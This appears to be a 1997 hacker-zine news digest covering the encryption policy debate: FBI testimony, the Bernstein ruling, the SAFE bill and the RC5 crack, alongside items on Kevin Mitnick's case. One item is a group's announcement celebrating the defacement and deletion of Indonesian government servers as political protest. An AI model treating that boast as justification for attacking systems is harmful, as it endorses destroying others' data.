Statement of Louis J. Freeh, Director
|
||
Federal Bureau of Investigation
|
||
|
||
Before the Permanent Select Committee on Intelligence
|
||
United States House of Representatives
|
||
|
||
Washington, D. C.
|
||
September 9, 1997
|
||
|
||
Mr. Chairman and members of the committee, I appreciate the opportunity to
|
||
discuss the issue of encryption and I applaud your willingness to deal with
|
||
this vital public safety issue.
|
||
|
||
The looming spectre of the widespread use of robust, virtually unbreakable
|
||
encryption is one of the most difficult problems confronting law enforcement
|
||
as the next century approaches. At stake are some of our most valuable and
|
||
reliable investigative techniques, and the public safety of our citizens.
|
||
We believe that unless a balanced approach to encryption is adopted that
|
||
includes a viable key management infrastructure that supports immediate
|
||
decryption capabilities for lawful purposes, our ability to investigate
|
||
and sometimes prevent the most serious crimes and terrorism will be severely
|
||
impaired. Our national security will also be jeopardized.
|
||
|
||
For law enforcement, framing the issue is simple. In this time of dazzling
|
||
telecommunications and computer technology where information can have
|
||
extraordinary value, the ready availability of robust encryption is
|
||
essential. No one in law enforcement disputes that. Clearly, in today's
|
||
world and more so in the future, the ability to encrypt both contemporaneous
|
||
communications and stored data is a vital component of information security.
|
||
|
||
As is so often the case, however, there is another aspect to the encryption
|
||
issue that if left unaddressed will have severe public safety and national
|
||
security ramifications. Law enforcement is in unanimous agreement that the
|
||
widespread use of robust unbreakable encryption ultimately will devastate
|
||
our ability to fight crime and prevent terrorism. Unbreakable encryption
|
||
will allow drug lords, spies, terrorists and even violent gangs to
|
||
communicate about their crimes and their conspiracies with impunity. We wll
|
||
lose one of the few remaining vulnerabilities of the worst criminals and
|
||
terrorists upon which law enforcement depends to successfully investigate
|
||
and often prevent the worst crimes.
|
||
|
||
For this reason, the law enforcement community is unanimous in calling for
|
||
a balanced solution to this problem. Such a solution must satisfy both the
|
||
commercial needs of industry for strong encryption and law enforcement's
|
||
public safety decryption needs. In our view, any legislative approach that
|
||
does not achieve such a balanced approach seriously jeopardizes the
|
||
long-term viability and usefulness of court-authorized access to transmitted
|
||
as well as stored evidence and information. Electronic surveillance and
|
||
search and seizure are techniques upon which law enforcement depends to
|
||
ensure public safety and maintain national security.
|
||
|
||
One such balanced solution to this problem is key recovery encryption.
|
||
Under this approach, a decryption "key" for a given encryption product is
|
||
deposited with a trustworthy key recovery agent for safe keeping. The key
|
||
recovery agent could be a private company, a bank, or other commercial or
|
||
government entity that meets established trustworthiness criteria. Should
|
||
encryption users need access to their encrypted information, they could
|
||
obtain the decryption key from the key recovery agent. Additionally, when
|
||
law enforcement needs to decrypt criminal-related communications or computer
|
||
files lawfully seized under established legal authorities, they too, under
|
||
conditions prescribed by law and with the presentation of proper legal
|
||
process, could obtain the decryption key from the key recovery agent. This
|
||
is the only viable way to permit the timely decryption of lawfully seized
|
||
communications or computer files that are in furtherance of criminal
|
||
activity.
|
||
|
||
The decryption key or information would be provided to the law enforcement
|
||
agency under very strict controls and would be used only for its intended
|
||
public safety purpose. Under this approach, the law-abiding would gain the
|
||
benefits of strong, robust encryption products and services with emergency
|
||
decryption capabilities and public safety and national security would be
|
||
maintained--as manufacturers produce and sell encryption products that
|
||
include features that allow for the immediate decryption of criminal-related
|
||
encrypted communications or electronic information.
|
||
|
||
This solution meets industry's information security and communications
|
||
privacy needs for strong encryption while addressing law enforcement's
|
||
public safety needs for immediate decryption when such products are used
|
||
to conceal crimes or impending acts of terrorism or espionage.
|
||
|
||
Some have argued that government policy makers should step aside and let
|
||
market forces solely determine the direction of key recovery encryption,
|
||
letting market forces determine the type of technologies that will be used
|
||
and under what circumstances. They argue that most corporations that see
|
||
the need for encryption will also recognize the need for, and even insist
|
||
on, key recovery encryption products to secure their electronically stored
|
||
information and to protect their corporate interests should an encryption
|
||
key be lost, stolen or used by a rogue employee for extortion purposes.
|
||
|
||
We agree that rational thinking corporations will act in a prudent manner
|
||
and will insist on using key recovery encryption for electronically stored
|
||
information. However, law enforcement has a unique public safety requirement
|
||
in the area of perishable communications which are in transit (telephone
|
||
calls, e-mail, etc.). It is law enforcement, not corporations, that
|
||
has a need for the immediate decryption of communications in transit. There
|
||
is extraordinary risk in trusting public safety and national security to
|
||
market forces that rightfully are protecting important but unrelated
|
||
interests. Law enforcement's needs will not be adequately addressed by
|
||
this type of an approach.
|
||
|
||
It is for this reason that government policy makers and Congress should
|
||
play a direct role in shaping our national encryption policy and adopt a
|
||
balanced approach that addresses both the commercial and the public safety
|
||
needs. The adverse impact to public safety and national security associated
|
||
with any type of "wait and see" or voluntary market force approach would
|
||
be far too great of a price for the American public to pay.
|
||
|
||
Several bills have recently been introduced which address encryption.
|
||
Language in some of the proposed bills makes it unlawful to use encryption
|
||
in the furtherance of criminal activity and set out procedures for law
|
||
enforcement access to stored decryption keys in those instances where
|
||
key recovery encryption was voluntarily used. Only one of these bills,
|
||
S. 909, comes close to meeting our core public safety, effective law
|
||
enforcement, and national security needs. S. 909 takes significant strides
|
||
in the direction of protecting public safety by encouraging the use of key
|
||
recovery encryption through market based incentives and other inducements.
|
||
All of the other bills currently under consideration by the Congress, to
|
||
include S. 376, S. 377 , and H.R. 695, would have a significant negative
|
||
impact on public safety and national security and would risk great harm
|
||
to our ability to enforce the laws and protect our citizens if enacted.
|
||
|
||
Unfortunately, S. 909 still does not contain sufficient assurances that
|
||
the impact on public safety and effective law enforcement caused by the
|
||
widespread availability of encryption will be adequately addressed. We look
|
||
forward to working with you to develop legislative accommodations that
|
||
adequately address the public safety needs of law enforcement and a balanced
|
||
encryption policy.
|
||
|
||
Further, some argue the encryption "Genie is out of the bottle," and that
|
||
attempts to influence the future use of encryption are futile. I do not
|
||
believe that to be the case. Strong encryption products that include
|
||
decryption features for lawful purposes can, with government and industry
|
||
support, become the standard for use in the global information
|
||
infrastructure.
|
||
|
||
No one contends that the adoption of a balanced encryption policy will
|
||
prevent all criminals, spies and terrorists from gaining access to and
|
||
using unbreakable encryption. But if we, as a nation, act responsibly
|
||
and only build systems and encryption products that support and include
|
||
appropriate decryption features, all facets of the public's interest can
|
||
be served.
|
||
|
||
And as this committee knows, export controls on encryption products exist
|
||
primarily to protect national security and foreign policy interests.
|
||
However, law enforcement is more concerned about the significant and
|
||
growing threat to public safety and effective law enforcement that would
|
||
be caused by the proliferation and use within the United States of a
|
||
communications infrastructure that supports the use of strong encryption
|
||
products but that does not support law enforcement's immediate decryption
|
||
needs. Without question, such an infrastructure will be used by dangerous
|
||
criminals and terrorists to conceal their illegal plans and activities
|
||
from law enforcement, thus inhibiting our ability to enforce the laws
|
||
and prevent terrorism.
|
||
|
||
Congress has on many occasions accepted the premise that the use of
|
||
electronic surveillance is a tool of utmost importance in terrorism cases
|
||
and in many criminal investigations, especially those involving serious
|
||
and violent crime, terrorism, espionage, organized crime, drug-trafficking,
|
||
corruption and fraud. There have been numerous cases where law enforcement,
|
||
through the use of electronic surveillance, has not only solved and
|
||
successfully prosecuted serious crimes and dangerous criminals, but has
|
||
also been able to prevent serious and life-threatening criminal acts. For
|
||
example, terrorists in New York were plotting to bomb the United Nations
|
||
building, the Lincoln and Holland tunnels, and 26 Federal Plaza as well as
|
||
conduct assassinations of political figures. Court-authorized electronic
|
||
surveillance enabled the FBI to disrupt the plot as explosives were being
|
||
mixed. Ultimately, the evidence obtained was used to convict the
|
||
conspirators. In another example, electronic surveillance was used to
|
||
prevent and then convict two men who intended to kidnap, molest and then
|
||
kill a male child.
|
||
|
||
Most encryption products manufactured today do not contain features that
|
||
provide for immediate law enforcement decryption. Widespread use of
|
||
unbreakable encryption or communications infrastructure that supports the
|
||
use of unbreakable encryption clearly will undermine law enforcement's
|
||
ability to effectively carry out its public safety mission and to combat
|
||
dangerous criminals and terrorists.
|
||
|
||
This is not a problem that will begin sometime in the future. Law
|
||
enforcement is already encountering the harmful effects of encryption
|
||
in many important investigations today. For example:
|
||
|
||
convicted spy Aldrich Ames was told by the Russian Intelligence
|
||
Service to encrypt computer file information that was to be passed
|
||
to them. an international terrorist was plotting to blow up 11
|
||
U.S.-owned commercial airliners in the Far East. His laptop computer
|
||
which was seized during his arrest in Manilla contained encrypted
|
||
files concerning this terrorist plot. a subject in a child pornography
|
||
case used encryption in transmitting obscene and pornographic images
|
||
of children over the Internet. a major international drug trafficking
|
||
subject recently used a telephone encryption device to frustrate
|
||
court-approved electronic surveillance.
|
||
|
||
Requests for cryptographic support pertaining to electronic surveillance
|
||
interceptions from FBI field offices and other law enforcement agencies
|
||
have steadily risen over the past several years. For example, from 1995
|
||
to 1996, there was a two-fold increase (from 5 to 12) in the number of
|
||
instances where the FBI's court-authorized electronic efforts were frustrated
|
||
by the use of encryption products that did not allow for lawful law
|
||
enforcement decryption.
|
||
|
||
Over the last three (3) years, the FBI has also seen the number of
|
||
computer-related cases utilizing encryption and/or password protection
|
||
increase from 20 or two (2) percent of the cases involving electronically
|
||
stored information to 140 or seven (7) percent. These included the use of
|
||
56-bit data encryption standard (DES) and 128-bit "pretty good privacy"
|
||
(PGP) encryption.
|
||
|
||
Just as when the Congress so boldly addressed the digital telephony issue
|
||
in 1994, the government and the nation are again at an historic crossroad
|
||
on this issue. The Attorney General and the heads of federal law enforcement
|
||
agencies as well as the presidents of several state and local law enforcement
|
||
associations recently sent letters to every member of Congress urging the
|
||
adoption of a balanced encryption policy. In addition, the International
|
||
Association of Chiefs of Police, the National Sheriff's Association and
|
||
the National District Attorneys Association have all enacted resolutions
|
||
supporting a balanced encryption policy and opposing any legislation that
|
||
undercuts or falls short such a balanced policy.
|
||
|
||
If public policy makers act wisely, the safety of all Americans will be
|
||
enhanced for decades to come. But if narrow interests prevail, then law
|
||
enforcement will be unable to provide the level of protection that people
|
||
in a democracy properly expect and deserve.
|
||
|
||
Conclusion
|
||
|
||
We are not asking that the magnificent advances in encryption technology
|
||
be abandoned. We are the strongest proponents of robust, reliable encryption
|
||
manufactured and sold by American companies all over the world. Our position
|
||
is simple and, we believe, vital. Encryption is certainly a commercial
|
||
interest of great importance to this great nation. But it's not merely a
|
||
commercial or business issue. To those of us charged with the protection of
|
||
public safety and national security, encryption technology and its
|
||
application in the information age--here at the dawn of the 21st century
|
||
and thereafter--will become a matter of life and death in many instances
|
||
which will directly impact on our safety and freedoms. Good and sound
|
||
public policy decisions about encryption must be made now by the Congress
|
||
and not be left to private enterprise. Legislation which carefully balances
|
||
public safety and private enterprise must be established with respect to
|
||
encryption.
|
||
|
||
Would we allow a car to be driven with features which would evade and outrun
|
||
police cars? Would we build houses or buildings which firefighters could not
|
||
enter to save people?
|
||
|
||
Most importantly, we are not advocating that the privacy rights or personal
|
||
security of any person or enterprise be compromised or threatened. You can't
|
||
yell "fire" in a crowded theater. You can't with impunity commit libel or
|
||
slander. You can't use common law honored privileges to commit crimes.
|
||
|
||
In support of our position for a rational encryption policy which balances
|
||
public safety with the right to secure communications, we rely on the Fourth
|
||
Amendment to the Constitution. There the framers established a delicate
|
||
balance between "the right of the people to be secure in their persons,
|
||
houses, papers, and effects (today we might add personal computers, modems,
|
||
data streams, discs, etc.) against unreasonable searches and seizures."
|
||
Those precious rights, however, were balanced against the legitimate right
|
||
and necessity of the police, acting through strict legal process, to gain
|
||
access by lawful search and seizure to the conversations and stored evidence
|
||
of criminals, spies and terrorists.
|
||
|
||
The precepts and balance of the Fourth Amendment have not changed or altered.
|
||
What has changed from the late eighteenth to the late twentieth century is
|
||
technology and telecommunications well beyond the contemplation of the
|
||
framers.
|
||
|
||
The unchecked proliferation of unbreakable encryption will drastically
|
||
change the balance of the Fourth Amendment in a way which would shock its
|
||
original proponents. Police soon may be unable through legal process and
|
||
with sufficient probable cause to conduct a reasonable and lawful search
|
||
or seizure, because they cannot gain access to evidence being channeled or
|
||
stored by criminals, terrorists and spies. Significantly, their lack of
|
||
future access may be in part due to policy decisions about encryption made
|
||
or not made by the United States. This would be a terrible upset of the
|
||
balance so wisely set forth in the Fourth Amendment on December 15, 1791.
|
||
I urge you to maintain that balance and allow your police departments,
|
||
district attorneys, sheriffs and federal law enforcement authorities to
|
||
continue to use their most effective techniques to fight crime and
|
||
terrorism--techniques well understood and authorized by the framers and
|
||
Congress for over two hundred years.
|
||
|
||
I look forward to working with you on this matter and at this time would
|
||
be pleased to answer any questions.
|
||
|
||
|
||
0x3>-------------------------------------------------------------------------
|
||
|
||
Subject: Urban Ka0s -- 26 Indonesian Servers Haxed
|
||
|
||
|
||
Greetings Phrack,
|
||
|
||
Today, our group (Urban Ka0s) and several portuguese Hackers attacked
|
||
several Indonesian servers, in order to defend East Timor rights!
|
||
|
||
We are Portuguese Hackers Agaisnt Indonesian Tirany.
|
||
|
||
"Thix Site Was Haxed & Deleted by PHAiT. This attack is not
|
||
against indonesian people but against its government and their
|
||
opression towards the republic of timor. These actions were
|
||
made to honour and remember all the 250 people killed in Dili
|
||
on the 12 november 1991.
|
||
|
||
As a result all sites belonging to indonesia's goverment were
|
||
erased, the rest only had their webpages changed."
|
||
|
||
East Timor, One People, One Nation
|
||
|
||
"Whether it is in Tibet or Poland, the Baltics or the
|
||
South Pacific, Africa or the Caribbean, it has been shown
|
||
that force and repression can never totally suffocate the
|
||
reasons underlying the existence of a people: pride in its
|
||
own identity, capacity to preserve, without restriction,
|
||
everything that identifies it as such, freedom to pass all
|
||
this on to future generations, in brief, the right to manage
|
||
its own destiny."
|
||
|
||
Xanana Gusm<73>o
|
||
October 5, 1989
|
||
|
||
Please inform all ciber citizens of this action.
|
||
|
||
Our contact is at:
|
||
-- Urban Ka0s --
|
||
http://urbankaos.org
|
||
irc: PT-Net irc.urbankaos.org
|
||
|
||
0x4>-------------------------------------------------------------------------
|
||
|
||
Title: Hacker accused of sabotaging Forbes computers
|
||
Source: Infobeat News
|
||
Author: unknown
|
||
Date: unknown
|
||
|
||
A former temporary computer technician at business publisher Forbes
|
||
Inc has been charged with sabotage and causing a massive crash of the
|
||
firm's computer network, prosecutors said. According to the complaint
|
||
filed in Manhattan Federal Court and unsealed Monday, George Mario
|
||
Parente, 30, of Howard Beach in the borough of Queens was accused of
|
||
hacking his way into the Forbes' network in April from his home,
|
||
using an unauthorized password. Prosecutors alleged he erased vital
|
||
information including budgets and salary from Forbes' computers
|
||
because he was angry with the company after he was fired.
|
||
|
||
0x5>-------------------------------------------------------------------------
|
||
|
||
Title: Privacy, Inc. Unveils its Internet Background Check
|
||
Source:
|
||
Author: unknown
|
||
Date: August 1, 1997
|
||
|
||
Aurora, Colorado
|
||
|
||
Privacy, Inc. (www.privacyinc.com) today released its Internet Background
|
||
Check, a utility that empowers users to determine if they are at risk from
|
||
the plethora of databases that are being placed on the Internet. Searches
|
||
quickly scan through hundreds of databases beng placed on-line by state and
|
||
local governments and law enforcement angencies in categories such as:
|
||
|
||
* Registered Sex Offenders and Predators
|
||
* Deadbeat Parents
|
||
* Wanted Persons
|
||
* Missing Persons
|
||
* Arrest/Prison
|
||
|
||
'The Computer Is Never Wrong'
|
||
|
||
"Errors and risks of mistaken identity in this data are a key concern," says
|
||
Edward Allburn, founder and president of Privacy, Inc. The recent flurry of
|
||
activity by government and law enforcement agencies to distribute such
|
||
volatile information on the Internet creates an environment that potentially
|
||
places innocent people at risk, especially for mistaken identity.
|
||
|
||
Advanced technology was incorporated into the development of the Internet
|
||
Background Check with this risk in mind. This technology allows users to
|
||
also search for names that look and/or sound similar to their own while still
|
||
delivering highly focused results that standard Internet search engines
|
||
(such as Yahoo! and Lycos) are incapable of producing.
|
||
|
||
One More Tool
|
||
|
||
The release provides one more tool for consumers to protect themselves in the
|
||
Information Age. Additional resources provided by Privacy, Inc. include:
|
||
* Consumer Privacy Guide
|
||
* Government Database Guide
|
||
* Government Dossier Service
|
||
* David Sobel's Legal FAQ
|
||
* Privacy News Archive, updated weekly
|
||
|
||
Guido, the Cyber-Bodyguard is another utility planned to be released in the
|
||
coming months. Guido will interface with the Internet Background Check to
|
||
automatically alert users via e-mail if/when their name appears in a new or
|
||
updated database, in effect monitoring the Internet so users don't have to.
|
||
|
||
0x6>-------------------------------------------------------------------------
|
||
|
||
Title: Commerce Dept encryption rules declared unconstitutional
|
||
Source: fight-censorship@vorlon.mit.edu
|
||
Author: unknown
|
||
Date: unknown
|
||
|
||
A Federal judge in San Francisco ruled today that the Commerce
|
||
Department's export controls on encryption products violate the
|
||
First Amendment's guarantees of freedom of speech.
|
||
|
||
In a 35-page decision, U.S. District Judge Marilyn Patel said the
|
||
Clinton administration's rules violate "the First Amendment on the
|
||
grounds of prior restraint and are, therefore, unconstitutional."
|
||
Patel reaffirmed her December 1996 decision against the State
|
||
Department regulations, saying that the newer Commerce Department
|
||
rules suffer from similar constitutional infirmities.
|
||
|
||
Patel barred the government from "threatening, detaining,
|
||
prosecuting, discouraging, or otherwise interfering with" anyone
|
||
"who uses, discusses, or publishes or seeks to use, discuss or
|
||
publish plaintiff's encryption programs and related materials."
|
||
Daniel Bernstein, now a math professor at the University of
|
||
Illinois, filed the lawsuit with the help of the Electronic
|
||
Frontier Foundation.
|
||
|
||
Patel dismissed the State, Energy, and Justice departments and
|
||
CIA as defendants. President Clinton transferred jurisdiction over
|
||
encryption exports from the State to the Commerce department on
|
||
December 30, 1996.
|
||
|
||
The Justice Department seems likely to appeal the ruling to the
|
||
Ninth Circuit, which could rule on the case in the near future.
|
||
|
||
0x7>-------------------------------------------------------------------------
|
||
|
||
Title: The Million Dollar Challenge
|
||
Source: unknown mail list
|
||
|
||
Ultimate Privacy, the e-mail encryption program combining ease
|
||
of use with unbreakability.
|
||
|
||
Ultimate Privacy is serious cryptography. On the Links page we
|
||
have links to other Internet sites that discuss One-Time Pad
|
||
cryptography and why it is unbreakable when properly
|
||
implemented.
|
||
|
||
Nevertheless, should you wish to try, the first person to be able
|
||
to discern the original message within a year (following the
|
||
simple requirements of the Challenge) will actually receive the
|
||
million dollar prize as specified in the Rules page. The prize
|
||
is backed by the full faith and credit of Crypto-Logic
|
||
Corporation and its insurors.
|
||
|
||
You might be interested in to know how the Challenge was done. We
|
||
used a clean, non-network-connected computer. After installing
|
||
Ultimate Privacy, one person alone entered the Challenge message
|
||
and encrypted it. After making a copy of the encrypted message,
|
||
we removed the hard disk from the computer and it was
|
||
immediately transported to a vault for a year.
|
||
|
||
Therefore, the original message is not known by Crypto-Logic
|
||
Corporation staff (other than the first few characters for
|
||
screening purposes), nor are there any clues to the original
|
||
message on any media in our offices.
|
||
|
||
0x8>-------------------------------------------------------------------------
|
||
|
||
Title: High Profile Detainee Seeks Legal Help
|
||
Source: fight-censorship@vorlon.mit.edu
|
||
Author: unknown
|
||
Date: September 3, 1997
|
||
|
||
|
||
Mr. Kevin Mitnick has been detained in Federal custody without
|
||
bail on computer "hacking" allegations for over thirty months.
|
||
Having no financial resources, Mr. Mitnick has been appointed
|
||
counsel from the Federal Indigent Defense Panel. As such, Mr.
|
||
Mitnick's representation is limited; his attorney is not permitted
|
||
to assist with civil actions, such as filing a Writ of Habeas
|
||
Corpus.
|
||
|
||
For the past two years, Mr. Mitnick has attempted to assist in his
|
||
own defense by conducting legal research in the inmate law library
|
||
at the Metropolitan Detention Center (hereinafter "MDC") in Los
|
||
Angeles, California. Mr. Mitnick's research includes reviewing
|
||
court decisions for similar factual circumstances which have
|
||
occurred in his case. MDC prison officials have been consistently
|
||
hampering Mr. Mitnick's efforts by denying him reasonable access
|
||
to law library materials. Earlier this year, Mr. Mitnick's lawyer
|
||
submitted a formal request to Mr. Wayne Siefert, MDC Warden,
|
||
seeking permission to allow his client access to the law library
|
||
on the days set aside for inmates needing extra law library time.
|
||
The Warden refused.
|
||
|
||
In August 1995, Mr. Mitnick filed an administrative remedy request
|
||
with the Bureau of Prisons complaining that MDC policy in
|
||
connection with inmate access to law library materials does not
|
||
comply with Federal rules and regulations. Specifically, the
|
||
Warden established a policy for MDC inmates that detracts from
|
||
Bureau of Prison's policy codified in the Code of Federal
|
||
Regulations.
|
||
|
||
Briefly, Federal law requires the Warden to grant additional law
|
||
library time to an inmate who has an "imminent court deadline".
|
||
The MDC's policy circumvents this law by erroneously interpreting
|
||
the phrase "imminent court deadline" to include other factors,
|
||
such as, whether an inmate exercises his right to assistance of
|
||
counsel, or the type of imminent court deadline.
|
||
For example, MDC policy does not consider detention (bail),
|
||
motion, status conference, or sentencing hearings as imminent
|
||
court deadlines for represented inmates. MDC officials use this
|
||
policy as a tool to subject inmates to arbitrary and capricious
|
||
treatment. It appears MDC policy in connection with inmate legal
|
||
activities is inconsistent with Federal law and thereby affects
|
||
the substantial rights of detainees which involve substantial
|
||
liberty interests.
|
||
|
||
In June 1997, Mr. Mitnick finally exhausted administrative
|
||
remedies with the Bureau of Prisons. Mr. Mitnick's only avenue of
|
||
vindication is to seek judicial review in a Court of Law. Mr.
|
||
Mitnick wishes to file a Writ of Habeas Corpus challenging his
|
||
conditions of detention, and a motion to compel Federal
|
||
authorities to follow their own rules and regulations.
|
||
|
||
Mr. Mitnick is hoping to find someone with legal experience, such
|
||
as an attorney or a law student willing to donate some time to
|
||
this cause to insure fair treatment for everyone, and to allow
|
||
detainees to effectively assist in their own defense without
|
||
"Government" interference. Mr. Mitnick needs help drafting a
|
||
Habeas Corpus petition with points and authorities to be submitted
|
||
by him pro-se. His objective is to be granted reasonable access
|
||
to law library materials to assist in his own defense.
|
||
|
||
If you would like to help Kevin, please contact him at the
|
||
following address:
|
||
|
||
Mr. Kevin Mitnick
|
||
Reg. No. 89950-012
|
||
P.O. Box 1500
|
||
Los Angeles, CA 90053-1500
|
||
|
||
0x9>-------------------------------------------------------------------------
|
||
|
||
Title: Kevin Mitnick Press Release
|
||
Source: Press Release
|
||
Author: Donald C. Randolph
|
||
Date: August 7, 1997
|
||
|
||
THE UNITED STATES V. KEVIN DAVID MITNICK
|
||
|
||
I. Proceedings to Date
|
||
|
||
With 25 counts of alleged federal computer and wire fraud violations still
|
||
pending against him, the criminal prosecution of Kevin Mitnick is
|
||
approaching its most crucial hour. The trial is anticipated to begin in
|
||
January, 1998. In reaching this point, however, Kevin has already
|
||
experienced years of legal battles over alleged violations of the
|
||
conditions of his supervised release and for possession of unauthorized
|
||
cellular access codes.
|
||
|
||
A. Settling the "Fugitive" Question
|
||
|
||
The seemingly unexceptional charges relating to supervised release
|
||
violations resulted in months of litigation when the government attempted
|
||
to tack on additional allegations for conduct occurring nearly three years
|
||
after the scheduled expiration of Kevin's term of supervised release in
|
||
December, 1992. The government claimed that Kevin had become a fugitive
|
||
prior to the expiration of his term, thereby "tolling" the term and
|
||
allowing for the inclusion of additional charges. After months of
|
||
increasingly bold assertions concerning Kevin's "fugitive" status,
|
||
evidentiary hearings were held in which the government was forced to
|
||
concede that its original position in this matter was unsupported by the
|
||
facts.
|
||
|
||
B. Sentencing
|
||
|
||
In June of this year Kevin was sentenced for certain admitted violations of
|
||
his supervised release and for possession of unauthorized access codes.
|
||
The court imposed a sentence of 22 months instead of the 32 months sought
|
||
by the government. Since Kevin has been in custody since his arrest in
|
||
February 1995, this sentence has been satisfied. We are currently
|
||
preparing a request for release on bail.
|
||
|
||
During this stage of the proceedings, the government sought to impose
|
||
restrictions on Kevin's access to computers which were so severe as to
|
||
virtually prohibit him from functioning altogether in today's society. The
|
||
proposed restrictions sought to completely prohibit Kevin from "using or
|
||
possessing" all computer hardware equipment, software programs, and
|
||
wireless communications equipment. After arguments that such restrictions
|
||
unduly burdened Kevin's freedom to associate with the on-line computer
|
||
community and were not reasonably necessary to ensure the protection of the
|
||
public, the court modified its restrictions by allowing for computer access
|
||
with the consent of the Probation Office. Nonetheless, the defense
|
||
believes that the severe restrictions imposed upon Mr. Mitnick are
|
||
unwarranted in this case and is, therefore, pursuing an appeal to the Ninth
|
||
Circuit.
|
||
|
||
II. The Government Seeks to make an Example of Mr. Mitnick
|
||
|
||
One of the strongest motivating factors for the government in the
|
||
prosecution of Kevin Mitnick is a desire to send a message to other
|
||
would-be "hackers". The government has hyped this prosecution by
|
||
exaggerating the value of loss in the case, seeking unreasonably stiff
|
||
sentences, and by painting a portrait of Kevin which conjures the likeness
|
||
of a cyber-boogie man.
|
||
|
||
There are a number of objectives prompting the government's tactics in this
|
||
respect. First, by dramatically exaggerating the amount of loss at issue
|
||
in the case (the government arbitrarily claims losses exceed some $80
|
||
million) the government can seek a longer sentence and create a
|
||
high-profile image for the prosecution. Second, through a long sentence
|
||
for Kevin, the government hopes to encourage more guilty pleas in future
|
||
cases against other hackers. For example, a prosecutor offering a moderate
|
||
sentence in exchange for a guilty plea would be able to use Kevin Mitnick's
|
||
sentence as an example of what "could happen" if the accused decides to go
|
||
to trial. Third, by striking fear into the hearts of the public over the
|
||
dangers of computer hackers, the government hopes to divert scrutiny away
|
||
from its own game-plan regarding the control and regulation of the Internet
|
||
and other telecommunications systems.
|
||
|
||
III. Crime of Curiosity
|
||
|
||
The greatest injustice in the prosecution of Kevin Mitnick is revealed when
|
||
one examines the actual harm to society (or lack thereof) which resulted
|
||
from Kevin's actions. To the extent that Kevin is a "hacker" he must be
|
||
considered a purist. The simple truth is that Kevin never sought monetary
|
||
gain from his hacking, though it could have proven extremely profitable.
|
||
Nor did he hack with the malicious intent to damage or destroy other
|
||
people's property. Rather, Kevin pursued his hacking as a means of
|
||
satisfying his intellectual curiosity and applying Yankee ingenuity. These
|
||
attributes are more frequently promoted rather than punished by society.
|
||
|
||
The ongoing case of Kevin Mitnick is gaining increased attention as the
|
||
various issues and competing interests are played out in the arena of the
|
||
courtroom. Exactly who Kevin Mitnick is and what he represents, however,
|
||
is ultimately subject to personal interpretation and to the legacy which
|
||
will be left by "The United States v. Kevin David Mitnick".
|
||
|
||
0xa>-------------------------------------------------------------------------
|
||
|
||
Title: SAFE crypto bill cracked again
|
||
Source:
|
||
Author: By Alex Lash and Dan Goodin
|
||
Date: September 12, 1997, 8:40 a.m. PT
|
||
|
||
For the second time in a week, a House committee has made significant
|
||
changes to the Security and Freedom through Encryption (SAFE) Act to
|
||
mandate that domestic encryption products give law enforcement agencies
|
||
access to users' messages.
|
||
|
||
The changes by the Intelligence Committee, which were passed as a
|
||
"substitute" to SAFE, turn the legislation on its head. The amendment
|
||
follows similar changes two days ago in the House National Security
|
||
Committee.
|
||
|
||
Initially drafted as a way to loosen U.S. export controls on encryption,
|
||
legislators have instead "marked up" the bill, or amended it at the
|
||
committee level, to reflect the wishes of the Federal Bureau of
|
||
Investigation and other law enforcement agencies that want "wiretap"
|
||
access to all encrypted email and other digital files.
|
||
|
||
Both the Intelligence and the National Security committees tend to favor
|
||
export controls, because they view encryption as a threat to
|
||
information-gathering activities by U.S. military and law enforcement
|
||
officials.
|
||
|
||
The Intelligence Committee cited those concerns today when announcing
|
||
the substitute legislation. "Terrorist groups...drug cartels...and those
|
||
who proliferate in deadly chemical and biological weapons are all
|
||
formidable opponents of peace and security in the global society," said
|
||
committee chairman Porter Goss (R-Florida) in a statement. "These bad
|
||
actors must know that the U.S. law enforcement and national security
|
||
agencies, working under proper oversight, will have the tools to
|
||
frustrate illegal and deadly activity and bring international criminals
|
||
to justice."
|
||
|
||
Opponents of government attempts to regulate encryption, including a
|
||
leading panel of cryptographers, have argued that built-in access to
|
||
encrypted files would in fact threaten national and individual security
|
||
and be prohibitively expensive to implement.
|
||
|
||
The amended legislation calls for all imported or U.S.-made encryption
|
||
products that are manufactured or distributed after January 31, 2000, to
|
||
provide "immediate access" to the decrypted text if the law officials
|
||
present a court order. "Law enforcement will specifically be required to
|
||
obtain a separate court order to have the data, including
|
||
communications, decrypted."
|
||
|
||
A markup of the same bill in the House Commerce Committee was postponed
|
||
today for two weeks. It will be the fifth such committee vote on the
|
||
bill since its introduction.
|
||
|
||
The Intelligence and National Security amendments this week are by no
|
||
means a defeat of the bill. Instead, they would have to be reconciled
|
||
with versions of the bill already approved by the House Judiciary and
|
||
International Relations committees. That reconciliation most likely
|
||
would have to happen on the House floor. The rapidly fragmenting bill
|
||
still has several layers of procedure to wend through before it reaches
|
||
a potential floor vote, but people on both sides of the encryption
|
||
debate openly question if the bill--in any form--will make it that far
|
||
this year.
|
||
|
||
The legislation has 252 cosponsors, more than half of the House
|
||
membership.
|
||
|
||
0xb>-------------------------------------------------------------------------
|
||
|
||
Title: RC5 Cracked - The unknown message is...
|
||
Source:
|
||
Author: David McNett <nugget@slacker.com>[:]
|
||
Date: Mon, 27 Oct 1997 08:43:38 -0500
|
||
|
||
|
||
-----BEGIN PGP SIGNED MESSAGE-----
|
||
Hash: SHA1
|
||
|
||
It is a great privilege and we are excited to announce that at 13:25
|
||
GMT on 19-Oct-1997, we found the correct solution for RSA Labs' RC5-
|
||
32/12/7 56-bit secret-key challenge. Confirmed by RSA Labs, the key
|
||
0x532B744CC20999 presented us with the plaintext message for which we
|
||
have been searching these past 250 days.
|
||
|
||
The unknown message is: It's time to move to a longer key length
|
||
|
||
In undeniably the largest distributed-computing effort ever, the
|
||
Bovine RC5 Cooperative (http://www.distributed.net/), under the
|
||
leadership of distributed.net, managed to evaluate 47% of the
|
||
keyspace, or 34 quadrillion keys, before finding the winning key. At
|
||
the close of this contest our 4000 active teams were processing over
|
||
7 billion keys each second at an aggregate computing power equivalent
|
||
to more than 26 thousand Pentium 200's or over 11 thousand PowerPC
|
||
604e/200's. Over the course of the project, we received block
|
||
submissions from over 500 thousand unique IP addresses.
|
||
|
||
The winning key was found by Peter Stuer <peter@dinf.vub.ac.be> with
|
||
an Intel Pentium Pro 200 running Windows NT Workstation, working for
|
||
the STARLab Bovine Team coordinated by Jo Hermans
|
||
<Jo.Hermans@vub.ac.be> and centered in the Computer Science
|
||
Department (DINF) of the Vrije Universiteit (VUB) in Brussels,
|
||
Belgium. (http://dinf.vub.ac.be/bovine.html/). Jo's only comments
|
||
were that "$1000 will buy a lot of beer" and that he wished that the
|
||
solution had been found by a Macintosh, the platform that represented
|
||
